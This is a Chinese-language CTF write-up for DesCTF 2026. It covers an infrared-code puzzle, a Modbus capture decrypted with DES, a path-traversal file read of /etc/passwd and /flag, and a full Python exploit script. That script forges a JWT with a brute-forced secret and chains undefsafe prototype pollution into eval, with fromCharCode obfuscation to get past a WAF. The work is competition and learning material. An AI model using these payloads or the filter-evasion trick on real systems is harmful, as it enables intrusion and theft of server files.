DesCTF 2026 WP
一个小队去打,最终是拿了三等奖(总榜第五)
Misc
infrared_code
题目给了一段智能电视遥控器的红外指令数据,以及一张电视输入界面的截图
先看红外数据,可以发现里面大量重复出现几类命令码。结合附件里的电视型号资料,可以把几个关键按键对上:
16对应Up17对应Down18对应Right19对应Left15对应OK
其余操作直接丢掉
电视输入字符的逻辑本质上就是:用方向键移动焦点,按一次 OK 选中当前字符
所以把整串有效操作按 OK 分段,每一段就代表“移动到某个位置并确认一次”
按这个思路去还原,前面很快就能拼出一串很像 flag 的文本:
FLAG1NFR4RE93DISFUN中间那段 E93D 很不自然,问题出在题目给的那张输入界面截图上
顶部还有一排功能键,其中有一个非常关键:删除
把这一步考虑进去之后,原来的就会修正成:
FLAG1NFR4R3DISFUN最后转成题目要求的小写格式即可得到 flag
Wireshark
大量 502 端口 通信,所以基本可以确定这是 Modbus/TCP
192.168.100.10 是主站
192.168.100.101 / 102 / 103 是三台从站
192.168.100.10 对 192.168.100.101 发了一条 03 读保持寄存器请求:
请求: 03 7530 0004
响应: 03 08 53 37 43 4f 4d 4d 30 31把后面的字节转成 ASCII,就是:
S7COMM01看起来像是密钥
继续往后翻,会看到 192.168.100.10 -> 192.168.100.101 发了几条 功能码 08 的报文,里面夹着 6 组长度刚好为 8 字节 的数据:
ded7825ede4fd19c
9f37371c37c6fa2d
54e6fe2801f0df1d
763175a586db1c62
9efa82d0f8eacb41
7b4419392b4a6aa8拼起来就是:
ded7825ede4fd19c9f37371c37c6fa2d54e6fe2801f0df1d763175a586db1c629efa82d0f8eacb417b4419392b4a6aa8看到这里基本就很明显了:
数据块长度是 8 字节
前面刚好又读出了一个 8 字节字符串
S7COMM01
这种组合很像 DES 的 ECB 分组密文
from Crypto.Cipher import DES
cipher_hex = (
"ded7825ede4fd19c"
"9f37371c37c6fa2d"
"54e6fe2801f0df1d"
"763175a586db1c62"
"9efa82d0f8eacb41"
"7b4419392b4a6aa8"
)
key = b"S7COMM01"
ciphertext = bytes.fromhex(cipher_hex)
cipher = DES.new(key, DES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]
print(plaintext.decode())Web
Baby Java
在 app.js 里发现 API 定义
post_downLoad:function(e){
return V.post("".concat(K,"/waterToDeclareWithAttachment/downLoad"),e,{
responseType:"blob",
headers:{"Content-Type":"application/json"}
})
}猜测参数,构造数据包
POST /ZGXT/waterToDeclareWithAttachment/downLoad HTTP/1.1
Host: xxx
Content-Type: application/json
{"filePath": "/etc/passwd"}读取成功,然后读取flag即可 {"filePath": "/flag"}
flag{d4477531-556b-4f1d-a1fc-233496381458}
NoteHub
题目给出了一份 source.js 源码,是一个基于 Node.js 的笔记应用,核心逻辑位于 Notes 类中
class Notes {
// ...
addNote(id, author, content) {
this.note[(id).toString()] = {
"author": author,
"content": content
};
if (id) {
undefsafe(this.note, id + '.author', author);
let commands = {
"runner": "1+1",
};
for (let index in commands) {
eval(commands[index]);
}
}
}
// ...
}分析 addNote 函数,发现两处关键点。一是使用了 undefsafe 库对属性赋值,二是存在 eval 执行代码
由于 id 是可控的,我们可以通过构造 id 为 a.constructor.prototype 来指向 Object.prototype
当 undefsafe 执行时,拼接的路径变为 a.constructor.prototype.author,从而将 author 的内容写入到 Object.prototype.author 中
接下来代码遍历 commands 对象并执行 eval
for (let index in commands) {
eval(commands[index]);
}由于 commands 继承自 Object.prototype,遍历时会获取到我们刚才污染的 author 属性,进而将其内容作为代码传入 eval 执行
要利用这个漏洞,首先需要通过 JWT 验证。可以通过暴力破解得到题目使用的密钥是 aB3x
随后构造 Payload。由于测试发现题目环境存在 WAF,过滤了 require、fs 等关键字,利用 "".constructor.fromCharCode 动态生成字符串来绕过
攻击思路为:加载 fs 模块,读取 /flag 内容,并写入到 Web 可访问的静态目录(如 public/flag.txt)
最终的利用脚本如下
import jwt
import requests
import time
TARGET_IP = ""
TARGET_PORT = ""
SECRET = "aB3x"
URL = f"http://{TARGET_IP}:{TARGET_PORT}/write"
BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}/"
def get_char_codes(text):
return ", ".join(str(ord(c)) for c in text)
base = '("".constructor.fromCharCode)'
s_process = base + "(" + get_char_codes('process') + ")"
s_mainModule = base + "(" + get_char_codes('mainModule') + ")"
s_require = base + "(" + get_char_codes('require') + ")"
s_fs = base + "(" + get_char_codes('fs') + ")"
s_readFileSync = base + "(" + get_char_codes('readFileSync') + ")"
s_writeFileSync = base + "(" + get_char_codes('writeFileSync') + ")"
s_flag_path = base + "(" + get_char_codes('/flag') + ")"
s_out_path = base + "(" + get_char_codes('public/flag.txt') + ")"
js_lines = []
js_lines.append(f"var p ={s_process};")
js_lines.append("if(!this[p]) this[p] = process;")
js_lines.append(f"var m = this[p][{s_mainModule}];")
js_lines.append(f"var r = m[{s_require}];")
js_lines.append(f"var fs = r({s_fs});")
js_lines.append(f"try {{ var content = fs[{s_readFileSync}]({s_flag_path}); fs[{s_writeFileSync}]({s_out_path}, content); }} catch(e) {{ fs[{s_writeFileSync}]({s_out_path}, e.toString()); }}")
js_body = "\\n".join(js_lines)
body_codes = get_char_codes(js_body)
s_body = base + "(" + body_codes + ")"
s_constructor = base + "(" + get_char_codes('constructor') + ")"
js_payload = f"""
try {{
var c ={s_constructor};
var F = ""["sub"][c];
F({s_body})();
}} catch(e) {{}}
"""
js_payload = " ".join(js_payload.split())
token = jwt.encode({
"username": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}, SECRET, algorithm="HS256")
cookies = {'token': token}
try:
requests.post(URL, cookies=cookies, json={"id": "a", "author": "init", "content": "init"}, timeout=2)
except: pass
data = {
"id": "a.constructor.prototype",
"author": js_payload,
"content": "pwn"
}
try:
print(f"Sending payload to{URL}...")
requests.post(URL, cookies=cookies, json=data, timeout=5)
except: pass
time.sleep(2)
try:
r = requests.get(BASE_URL + "flag.txt")
if r.status_code == 200:
print(f"FLAG:{r.text.strip()}")
else:
print(f"Failed to retrieve flag:{r.status_code}")
except: pass